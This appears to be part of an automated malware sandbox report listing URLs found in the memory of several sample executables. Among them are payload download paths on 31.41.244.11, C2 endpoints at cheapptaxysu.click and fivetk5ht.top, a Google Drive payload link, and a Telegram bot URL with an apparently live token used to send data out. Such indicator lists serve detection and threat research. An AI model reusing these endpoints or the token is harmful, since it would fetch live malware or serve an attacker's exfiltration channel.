                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/burpin1/random.exe6H
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/burpin1/random.exeC
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D5E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/burpin1/random.exeD
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/kardanvalov88/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/kardanvalov88/random.exeJ#
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/karl/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/karl/random.exe8476
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/karl/random.exeO:
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/karl/random.exexe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/loadman/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/martin/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/martin/random.exes:4
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/zhigarko/random.exe
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://31.41.244.11/files/zhigarko/random.exeb?
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
                              Source: b7c03317c9.exe, 0000002A.00000002.2943794217.0000000001EC7000.00000004.00000020.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2943794217.0000000001EB3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763
                              Source: b7c03317c9.exe, 0000002A.00000002.2943794217.0000000001EC7000.00000004.00000020.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2943794217.0000000001EB3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=CmXX9uDEYSg7ov7J1734779763G
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851http://home.fivetk5ht.top/zldPRFrmVFHTtKntGp
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: http://html4/loose.dtd
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
                              Source: skotes.exe, 00000005.00000002.2942570852.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, 5f0a381314.exe.5.drString found in binary or memory: http://ocsp.sectigo.com0
                              Source: 322c3dce5b.exe, 00000033.00000002.2940029679.0000000002321000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                              Source: 5f0a381314.exe, 00000006.00000000.2443755959.0000000000423000.00000002.00000001.01000000.00000009.sdmp, 5f0a381314.exe.5.drString found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.c.lencr.org/0
                              Source: b2885fa695.exe, 00000020.00000003.2630727981.00000000056AD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.i.lencr.org/0
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/
                              Source: 4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/-GB
                              Source: 4115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/1
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/:Gr
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/CO3r
                              Source: 4115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/a
                              Source: 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://api.telegram.org/bot
                              Source: 4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E36587C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7855878545:AAEEMUvgpX9jTAxlDd2gM_Sbv2jbI6-5_0o/sendMessage?chat_id=74270
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://api.telegram.org/botFailed
                              Source: 4115805b10.exe, 00000028.00000002.2819650802.000001E365837000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/grkrs
                              Source: 4115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/h
                              Source: 4115805b10.exe, 00000028.00000002.2820245543.000001E3661E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/ogle
                              Source: 4115805b10.exe, 00000027.00000002.2797099055.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2795798018.0000026810A08000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/p
                              Source: b2885fa695.exe, 00000020.00000003.2661685253.0000000005661000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                              Source: b2885fa695.exe, 00000020.00000003.2559287290.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/
                              Source: b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/9
                              Source: b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/Q
                              Source: b2885fa695.exe, 00000020.00000003.2686595989.000000000566B000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D0E000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2691499194.000000000566B000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2759368892.000000000566B000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2736603243.000000000566B000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2662018084.000000000566B000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2759950146.0000000000D0D000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D0A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2759950146.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2764183695.0000000000D2A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2768801255.000000000566B000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2692865661.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2661685253.000000000566B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/api
                              Source: b2885fa695.exe, 00000020.00000003.2758836379.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/api%L8
                              Source: b2885fa695.exe, 00000020.00000003.2759119506.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2765530714.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2735992155.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2736434954.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/api5RJ1JZ
                              Source: b2885fa695.exe, 00000020.00000003.2706084690.0000000000D93000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/api:L_
                              Source: b2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2692865661.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/apiCN
                              Source: b2885fa695.exe, 00000020.00000003.2559195373.0000000000D2C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/apiD
                              Source: b2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/apiGM
                              Source: b2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2692865661.0000000000D9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/apiIN
                              Source: b2885fa695.exe, 00000020.00000003.2686509398.0000000000D9A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click/apioca
                              Source: b2885fa695.exe, 00000020.00000003.2758836379.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000002.2765612695.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2706084690.0000000000D93000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cheapptaxysu.click:443/apic
                              Source: 4115805b10.exe, 00000028.00000003.2690889016.000001E365822000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore
                              Source: 4115805b10.exe, 00000027.00000003.2670828927.0000026810994000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2670730816.0000026810978000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore-l
                              Source: 4115805b10.exe, 00000027.00000003.2670828927.0000026810994000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2670730816.0000026810978000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://chrome.google.com/webstore2R
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/update2/crx
                              Source: 4115805b10.exe, 00000027.00000003.2670730816.0000026810978000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/update2/crx0B
                              Source: 4115805b10.exe, 00000027.00000003.2671262555.0000026810961000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671446840.0000026810961000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/update2/crx1F11
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/update2/crx7ED0
                              Source: 4115805b10.exe, 00000027.00000003.2671674540.0000026810983000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2670962130.000002681097E000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671383618.000002681097F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/update2/crxLB
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://clients2.google.com/service/update2/crxip:i
                              Source: b2885fa695.exe, 00000020.00000003.2661685253.0000000005661000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
                              Source: 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2690027055.000001E365823000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
                              Source: 4115805b10.exe, 00000027.00000003.2670498259.0000026810976000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2690201104.000001E365831000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2690027055.000001E365823000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
                              Source: 4115805b10.exe, 00000028.00000003.2690201104.000001E365831000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2690027055.000001E365823000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultr
                              Source: random[2].exe0.5.drString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-autopush.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-0.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365817000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-1.corp.google.c
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-1.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-2.corp.google.com/
                              Source: 4115805b10.exe, 00000027.00000003.2670694562.0000026810962000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2671173239.0000026810966000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-2.corp2
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-3.corp.google.com/
                              Source: 4115805b10.exe, 00000027.00000002.2796654960.000002681097D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-3.corp.google.cosB
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-4.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-5.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-daily-6.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365817000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-preprod.co
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-preprod.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2691236731.000001E365820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive-staging.corp.google.com/
                              Source: 4115805b10.exe, 00000028.00000003.2692021259.000001E36584F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://drive.google.com/uc?id=
                              Source: 4115805b10.exe, 00000027.00000002.2796654960.000002681097D000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E36582C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download
                              Source: 4115805b10.exe, 00000028.00000003.2772934497.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E365890000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download;
                              Source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmpString found in binary or memory: https://drive.google.com/uc?id=URL:
                              Source: 4115805b10.exe, 00000028.00000003.2772934497.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2772934497.000001E3658C4000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E3658C4000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E3658C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/
                              Source: 4115805b10.exe, 00000027.00000003.2752797987.00000268109DE000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774885034.00000268109DD000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2754133118.00000268109DD000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2795798018.00000268109D1000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2752333584.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.00000268109D5000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2754663756.00000268109DD000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000002.2797099055.00000268109D1000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2754663756.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2753904963.00000268109DB000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2753904963.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2753594593.00000268109C1000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2772934497.000001E365891000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download
                              Source: 4115805b10.exe, 00000028.00000003.2772934497.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E365890000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=download7
                              Source: 4115805b10.exe, 00000028.00000003.2772934497.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000003.2795679412.000001E365891000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000028.00000002.2819650802.000001E365890000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=downloadk
                              Source: 4115805b10.exe, 00000027.00000002.2797301812.00000268125B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f&export=downloadta
                              Source: 4115805b10.exe, 00000027.00000003.2752333584.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000002.2797099055.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2774431697.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2754663756.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2753904963.0000026810A08000.00000004.00000020.00020000.00000000.sdmp, 4115805b10.exe, 00000027.00000003.2795798018.0000026810A08000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/i
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                              Source: b2885fa695.exe, 00000020.00000003.2582356457.00000000056AD000.00000004.00000800.00020000.00000000.sdmp, b2885fa695.exe, 00000020.00000003.2582557045.00000000056AA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
